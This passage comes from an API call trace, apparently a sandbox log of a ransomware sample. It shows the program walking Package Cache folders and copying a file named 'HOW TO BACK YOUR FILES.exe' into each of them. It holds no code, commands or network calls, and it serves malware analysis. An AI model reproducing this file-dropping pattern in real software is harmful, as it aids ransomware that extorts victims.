(lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.672] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.672] lstrcpyW (in: lpString1=0x241e8a4, lpString2="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0097.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bc98 [0097.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc0) returned 0x50c6d0 [0097.672] lstrcatW (in: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="\\" | out: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\" [0097.672] lstrcatW (in: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe") returned="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe" [0097.672] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.672] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0097.672] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.672] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.673] lstrcpyW (in: lpString1=0x241e8a4, lpString2="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0097.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bcb0 [0097.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xaa) returned 0x50dec0 [0097.673] lstrcatW (in: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="\\" | out: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0097.673] lstrcatW (in: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe") returned="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe" [0097.673] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.673] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1 [0097.673] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.673] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.673] lstrcpyW (in: lpString1=0x241e8a4, lpString2="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0097.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bcc8 [0097.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc2) returned 0x50df78 [0097.674] lstrcatW (in: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="\\" | out: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\" [0097.674] lstrcatW (in: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe") returned="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe" [0097.674] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.674] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1 [0097.674] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.674] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.674] lstrcpyW (in: lpString1=0x241e8a4, lpString2="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0097.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bce0 [0097.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc2) returned 0x50bdf8 [0097.674] lstrcatW (in: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="\\" | out: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\" [0097.674] lstrcatW (in: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe") returned="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe" [0097.674] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.675] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1 [0097.675] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.675] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.675] lstrcpyW (in: lpString1=0x241e8a4, lpString2="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0097.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bcf8 [0097.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc2) returned 0x50bec8 [0097.675] lstrcatW (in: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="\\" | out: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\" [0097.675] lstrcatW (in: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe") returned="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe" [0097.675] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.676] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bc8320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0097.676] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.676] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.676] lstrcpyW (in: lpString1=0x241e8a4, lpString2="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0097.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bd10 [0097.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc0) returned 0x50d5b8 [0097.676] lstrcatW (in: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="\\" | out: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\" [0097.676] lstrcatW (in: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe") returned="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe" [0097.676] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.676] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bc8320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0097.677] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.677] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.677] lstrcpyW (in: lpString1=0x241e8a4, lpString2="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0097.677] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bd28 [0097.677] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc0) returned 0x50d680 [0097.677] lstrcatW (in: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="\\" | out: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\" [0097.677] lstrcatW (in: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe") returned="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe" [0097.677] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.677] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bc8320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0097.677] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.677] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.677] lstrcpyW (in: lpString1=0x241e8a4, lpString2="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0097.677] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bd40 [0097.677] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc0) returned 0x50d748 [0097.678] lstrcatW (in: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="\\" | out: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\" [0097.678] lstrcatW (in: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe") returned="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe" [0097.678] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.678] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0097.678] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.678] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.678] lstrcpyW (in: lpString1=0x241e8a4, lpString2="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0097.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bd58 [0097.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc0) returned 0x50d810 [0097.678] lstrcatW (in: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="\\" | out: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\" [0097.678] lstrcatW (in: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe") returned="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe" [0097.678] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.679] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0097.679] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.679] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.679] lstrcpyW (in: lpString1=0x241e8a4, lpString2="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0097.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bd70 [0097.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xaa) returned 0x52bf60 [0097.679] lstrcatW (in: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="\\" | out: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0097.679] lstrcatW (in: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe") returned="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe" [0097.679] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.680] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0097.680] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.680] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.680] lstrcpyW (in: lpString1=0x241e8a4, lpString2="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0097.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bd88 [0097.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc0) returned 0x52c018 [0097.680] lstrcatW (in: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="\\" | out: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\" [0097.680] lstrcatW (in: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe") returned="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe" [0097.680] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.680] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4bee480, 